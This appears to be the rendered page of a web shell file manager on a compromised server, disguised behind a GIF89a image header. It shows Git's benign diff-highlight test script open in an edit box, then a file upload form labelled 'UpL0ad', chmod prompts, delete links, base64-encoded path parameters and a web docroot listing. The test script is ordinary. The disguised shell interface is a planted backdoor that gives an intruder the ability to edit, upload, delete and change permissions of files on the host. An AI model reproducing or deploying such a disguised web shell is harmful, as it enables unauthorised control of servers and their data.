GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>t9400-diff-highlight.sh<form method=post action="?d=L3Vzci9zaGFyZS9kb2MvZ2l0L2NvbnRyaWIvZGlmZi1oaWdobGlnaHQvdA%3D%3D&f=dDk0MDAtZGlmZi1oaWdobGlnaHQuc2g%3D"><input name="f" value="t9400-diff-highlight.sh"><textarea name="t">#!/bin/sh

test_description='Test diff-highlight'

CURR_DIR=$(pwd)
TEST_OUTPUT_DIRECTORY=$(pwd)
TEST_DIRECTORY=&quot;$CURR_DIR&quot;/../../../t
DIFF_HIGHLIGHT=&quot;$CURR_DIR&quot;/../diff-highlight

CW=&quot;$(printf &quot;\033[7m&quot;)&quot;	# white
CR=&quot;$(printf &quot;\033[27m&quot;)&quot;	# reset

. &quot;$TEST_DIRECTORY&quot;/test-lib.sh

if ! test_have_prereq PERL
then
	skip_all='skipping diff-highlight tests; perl not available'
	test_done
fi

# dh_test is a test helper function which takes 3 file names as parameters. The
# first 2 files are used to generate diff and commit output, which is then
# piped through diff-highlight. The 3rd file should contain the expected output
# of diff-highlight (minus the diff/commit header, ie. everything after and
# including the first @@ line).
dh_test () {
	a=&quot;$1&quot; b=&quot;$2&quot; &amp;&amp;

	cat &gt;patch.exp &amp;&amp;

	{
		cat &quot;$a&quot; &gt;file &amp;&amp;
		git add file &amp;&amp;
		git commit -m &quot;Add a file&quot; &amp;&amp;

		cat &quot;$b&quot; &gt;file &amp;&amp;
		git diff file &gt;diff.raw &amp;&amp;
		git commit -a -m &quot;Update a file&quot; &amp;&amp;
		git show &gt;commit.raw
	} &gt;/dev/null &amp;&amp;

	&quot;$DIFF_HIGHLIGHT&quot; &lt;diff.raw | test_strip_patch_header &gt;diff.act &amp;&amp;
	&quot;$DIFF_HIGHLIGHT&quot; &lt;commit.raw | test_strip_patch_header &gt;commit.act &amp;&amp;
	test_cmp patch.exp diff.act &amp;&amp;
	test_cmp patch.exp commit.act
}

test_strip_patch_header () {
	sed -n '/^@@/,$p' $*
}

# dh_test_setup_history generates a contrived graph such that we have at least
# 1 nesting (E) and 2 nestings (F).
#
#	  A---B master
#	 /
#	D---E---F branch
#
#	git log --all --graph
#	* commit
#	|    B
#	| * commit
#	| |    F
#	* | commit
#	| |    A
#	| * commit
#	|/
#	|    E
#	* commit
#	     D
#
dh_test_setup_history () {
	echo file1 &gt;file &amp;&amp;
	git add file &amp;&amp;
	test_tick &amp;&amp;
	git commit -m &quot;D&quot; &amp;&amp;

	git checkout -b branch &amp;&amp;
	echo file2 &gt;file &amp;&amp;
	test_tick &amp;&amp;
	git commit -a -m &quot;E&quot; &amp;&amp;

	git checkout master &amp;&amp;
	echo file2 &gt;file &amp;&amp;
	test_tick &amp;&amp;
	git commit -a -m &quot;A&quot; &amp;&amp;

	git checkout branch &amp;&amp;
	echo file3 &gt;file &amp;&amp;
	test_tick &amp;&amp;
	git commit -a -m &quot;F&quot; &amp;&amp;

	git checkout master &amp;&amp;
	echo file3 &gt;file &amp;&amp;
	test_tick &amp;&amp;
	git commit -a -m &quot;B&quot;
}

left_trim () {
	&quot;$PERL_PATH&quot; -pe 's/^\s+//'
}

trim_graph () {
	# graphs start with * or |
	# followed by a space or / or \
	&quot;$PERL_PATH&quot; -pe 's@^((\*|\|)( |/|\\))+@@'
}

test_expect_success 'diff-highlight highlights the beginning of a line' '
	cat &gt;a &lt;&lt;-\EOF &amp;&amp;
		aaa
		bbb
		ccc
	EOF

	cat &gt;b &lt;&lt;-\EOF &amp;&amp;
		aaa
		0bb
		ccc
	EOF

	dh_test a b &lt;&lt;-EOF
		@@ -1,3 +1,3 @@
		 aaa
		-${CW}b${CR}bb
		+${CW}0${CR}bb
		 ccc
	EOF
'

test_expect_success 'diff-highlight highlights the end of a line' '
	cat &gt;a &lt;&lt;-\EOF &amp;&amp;
		aaa
		bbb
		ccc
	EOF

	cat &gt;b &lt;&lt;-\EOF &amp;&amp;
		aaa
		bb0
		ccc
	EOF

	dh_test a b &lt;&lt;-EOF
		@@ -1,3 +1,3 @@
		 aaa
		-bb${CW}b${CR}
		+bb${CW}0${CR}
		 ccc
	EOF
'

test_expect_success 'diff-highlight highlights the middle of a line' '
	cat &gt;a &lt;&lt;-\EOF &amp;&amp;
		aaa
		bbb
		ccc
	EOF

	cat &gt;b &lt;&lt;-\EOF &amp;&amp;
		aaa
		b0b
		ccc
	EOF

	dh_test a b &lt;&lt;-EOF
		@@ -1,3 +1,3 @@
		 aaa
		-b${CW}b${CR}b
		+b${CW}0${CR}b
		 ccc
	EOF
'

test_expect_success 'diff-highlight does not highlight whole line' '
	cat &gt;a &lt;&lt;-\EOF &amp;&amp;
		aaa
		bbb
		ccc
	EOF

	cat &gt;b &lt;&lt;-\EOF &amp;&amp;
		aaa
		000
		ccc
	EOF

	dh_test a b &lt;&lt;-EOF
		@@ -1,3 +1,3 @@
		 aaa
		-bbb
		+000
		 ccc
	EOF
'

test_expect_failure 'diff-highlight highlights mismatched hunk size' '
	cat &gt;a &lt;&lt;-\EOF &amp;&amp;
		aaa
		bbb
	EOF

	cat &gt;b &lt;&lt;-\EOF &amp;&amp;
		aaa
		b0b
		ccc
	EOF

	dh_test a b &lt;&lt;-EOF
		@@ -1,3 +1,3 @@
		 aaa
		-b${CW}b${CR}b
		+b${CW}0${CR}b
		+ccc
	EOF
'

# These two code points share the same leading byte in UTF-8 representation;
# a naive byte-wise diff would highlight only the second byte.
#
#   - U+00f3 (&quot;o&quot; with acute)
o_accent=$(printf '\303\263')
#   - U+00f8 (&quot;o&quot; with stroke)
o_stroke=$(printf '\303\270')

test_expect_success 'diff-highlight treats multibyte utf-8 as a unit' '
	echo &quot;unic${o_accent}de&quot; &gt;a &amp;&amp;
	echo &quot;unic${o_stroke}de&quot; &gt;b &amp;&amp;
	dh_test a b &lt;&lt;-EOF
		@@ -1 +1 @@
		-unic${CW}${o_accent}${CR}de
		+unic${CW}${o_stroke}${CR}de
	EOF
'

# Unlike the UTF-8 above, these are combining code points which are meant
# to modify the character preceding them:
#
#   - U+0301 (combining acute accent)
combine_accent=$(printf '\314\201')
#   - U+0302 (combining circumflex)
combine_circum=$(printf '\314\202')

test_expect_failure 'diff-highlight treats combining code points as a unit' '
	echo &quot;unico${combine_accent}de&quot; &gt;a &amp;&amp;
	echo &quot;unico${combine_circum}de&quot; &gt;b &amp;&amp;
	dh_test a b &lt;&lt;-EOF
		@@ -1 +1 @@
		-unic${CW}o${combine_accent}${CR}de
		+unic${CW}o${combine_circum}${CR}de
	EOF
'

test_expect_success 'diff-highlight works with the --graph option' '
	dh_test_setup_history &amp;&amp;

	# date-order so that the commits are interleaved for both
	# trim graph elements so we can do a diff
	# trim leading space because our trim_graph is not perfect
	git log --branches -p --date-order |
		&quot;$DIFF_HIGHLIGHT&quot; | left_trim &gt;graph.exp &amp;&amp;
	git log --branches -p --date-order --graph |
		&quot;$DIFF_HIGHLIGHT&quot; | trim_graph | left_trim &gt;graph.act &amp;&amp;
	test_cmp graph.exp graph.act
'

# Just reuse the previous graph test, but with --color.  Our trimming
# doesn't know about color, so just sanity check that something got
# highlighted.
test_expect_success 'diff-highlight works with color graph' '
	git log --branches -p --date-order --graph --color |
		&quot;$DIFF_HIGHLIGHT&quot; | trim_graph | left_trim &gt;graph &amp;&amp;
	grep &quot;\[7m&quot; graph
'

# Most combined diffs won't meet diff-highlight's line-number filter. So we
# create one here where one side drops a line and the other modifies it. That
# should result in a diff like:
#
#    - modified content
#    ++resolved content
#
# which naively looks like one side added &quot;+resolved&quot;.
test_expect_success 'diff-highlight ignores combined diffs' '
	echo &quot;content&quot; &gt;file &amp;&amp;
	git add file &amp;&amp;
	git commit -m base &amp;&amp;

	&gt;file &amp;&amp;
	git commit -am master &amp;&amp;

	git checkout -b other HEAD^ &amp;&amp;
	echo &quot;modified content&quot; &gt;file &amp;&amp;
	git commit -am other &amp;&amp;

	test_must_fail git merge master &amp;&amp;
	echo &quot;resolved content&quot; &gt;file &amp;&amp;
	git commit -am resolved &amp;&amp;

	cat &gt;expect &lt;&lt;-\EOF &amp;&amp;
	--- a/file
	+++ b/file
	@@@ -1,1 -1,0 +1,1 @@@
	- modified content
	++resolved content
	EOF

	git show -c | &quot;$DIFF_HIGHLIGHT&quot; &gt;actual.raw &amp;&amp;
	sed -n &quot;/^---/,\$p&quot; &lt;actual.raw &gt;actual &amp;&amp;
	test_cmp expect actual
'

test_expect_success 'diff-highlight handles --graph with leading dash' '
	cat &gt;file &lt;&lt;-\EOF &amp;&amp;
	before
	the old line
	-leading dash
	EOF
	git add file &amp;&amp;
	git commit -m before &amp;&amp;

	sed s/old/new/ &lt;file &gt;file.tmp &amp;&amp;
	mv file.tmp file &amp;&amp;
	git add file &amp;&amp;
	git commit -m after &amp;&amp;

	cat &gt;expect &lt;&lt;-EOF &amp;&amp;
	--- a/file
	+++ b/file
	@@ -1,3 +1,3 @@
	 before
	-the ${CW}old${CR} line
	+the ${CW}new${CR} line
	 -leading dash
	EOF
	git log --graph -p -1 | &quot;$DIFF_HIGHLIGHT&quot; &gt;actual.raw &amp;&amp;
	trim_graph &lt;actual.raw | sed -n &quot;/^---/,\$p&quot; &gt;actual &amp;&amp;
	test_cmp expect actual
'

test_done
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/doc/git/contrib/diff-highlight/t<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvZ2l0L2NvbnRyaWIvZGlmZi1oaWdobGlnaHQvdA=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvZ2l0L2NvbnRyaWIvZGlmZi1oaWdobGlnaHQvdA==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvZ2l0L2NvbnRyaWIvZGlmZi1oaWdobGlnaHQ="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvZ2l0L2NvbnRyaWIvZGlmZi1oaWdobGlnaHQvdA==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvZ2l0L2NvbnRyaWIvZGlmZi1oaWdobGlnaHQvdA==&x=TWFrZWZpbGU=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvZ2l0L2NvbnRyaWIvZGlmZi1oaWdobGlnaHQvdA==&f=TWFrZWZpbGU="/>Makefile</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvZ2l0L2NvbnRyaWIvZGlmZi1oaWdobGlnaHQvdA==&f=TWFrZWZpbGU=&c=`+btoa(c):0" value="0644"></td><td>482</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvZ2l0L2NvbnRyaWIvZGlmZi1oaWdobGlnaHQvdA==&x=dDk0MDAtZGlmZi1oaWdobGlnaHQuc2g=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvZ2l0L2NvbnRyaWIvZGlmZi1oaWdobGlnaHQvdA==&f=dDk0MDAtZGlmZi1oaWdobGlnaHQuc2g="/>t9400-diff-highlight.sh</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvZ2l0L2NvbnRyaWIvZGlmZi1oaWdobGlnaHQvdA==&f=dDk0MDAtZGlmZi1oaWdobGlnaHQuc2g=&c=`+btoa(c):0" value="0644"></td><td>6719</td></tr></table>